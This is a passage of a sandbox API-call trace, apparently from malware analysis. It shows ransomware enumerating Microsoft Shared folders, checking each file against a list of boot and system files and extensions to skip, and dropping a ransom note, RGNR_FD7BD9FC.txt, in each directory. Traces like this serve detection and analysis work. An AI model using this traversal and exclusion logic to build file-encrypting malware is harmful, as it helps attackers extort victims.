cAlternateFileName="")) returned 1 [0078.519] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x53 [0078.519] lstrcpyW (in: lpString1=0x1ea0b0, lpString2="FPSRVUTL.DLL" | out: lpString1="FPSRVUTL.DLL") returned="FPSRVUTL.DLL" [0078.519] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL") returned=".DLL" [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="autorun.inf") returned 1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="boot.ini") returned 1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="bootfont.bin") returned 1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="bootsect.bak") returned 1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="bootmgr") returned 1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="bootmgr.efi") returned 1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="bootmgfw.efi") returned 1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="desktop.ini") returned 1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="iconcache.db") returned -1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="ntldr") returned -1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="ntuser.dat") returned -1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="ntuser.dat.log") returned -1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="ntuser.ini") returned -1 [0078.519] lstrcmpiW (lpString1="FPSRVUTL.DLL", lpString2="thumbs.db") returned -1 [0078.519] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0078.519] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0078.519] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0078.519] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0078.519] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x53 [0078.519] lstrcpyW (in: lpString1=0x1ea0b0, lpString2="FPWEC.DLL" | out: lpString1="FPWEC.DLL") returned="FPWEC.DLL" [0078.519] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL") returned=".DLL" [0078.519] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.519] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="autorun.inf") returned 1 [0078.519] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="boot.ini") returned 1 [0078.519] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="bootfont.bin") returned 1 [0078.520] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="bootsect.bak") returned 1 [0078.520] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="bootmgr") returned 1 [0078.520] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="bootmgr.efi") returned 1 [0078.520] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="bootmgfw.efi") returned 1 [0078.520] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="desktop.ini") returned 1 [0078.520] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="iconcache.db") returned -1 [0078.520] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="ntldr") returned -1 [0078.520] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="ntuser.dat") returned -1 [0078.520] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="ntuser.dat.log") returned -1 [0078.520] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="ntuser.ini") returned -1 [0078.520] lstrcmpiW (lpString1="FPWEC.DLL", lpString2="thumbs.db") returned -1 [0078.520] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0078.520] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0078.520] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0078.520] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81082540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.520] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x53 [0078.520] lstrcpyW (in: lpString1=0x1ea0b0, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.520] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.520] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.520] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81082540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.520] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0078.520] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81082540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.520] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.520] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.520] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81082540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.520] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.520] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.520] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0078.520] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81082540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.521] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4f [0078.521] lstrcpyW (in: lpString1=0x1eab80, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.521] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.521] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.521] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81082540, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.521] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.521] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8105c3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.521] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.521] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.521] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8105c3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.521] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.521] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.521] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0078.521] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8105c3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.521] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4c [0078.521] lstrcpyW (in: lpString1=0x1eb652, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.521] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.521] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.521] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8105c3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.521] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.521] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0078.521] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0078.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ecc3ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ecc3ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ed5c260, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6fbf0920, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fbf0920, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6fc62d40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6fc62d40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7109e840, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7109e840, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7109e840, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7109e840, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x710c49a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x710c49a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x75534220, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x75534220, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7555a380, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7a02f720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7a02f720, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7a4cc1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7a4cc1c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7abca260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7abca260, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0078.522] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecc3ce0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, 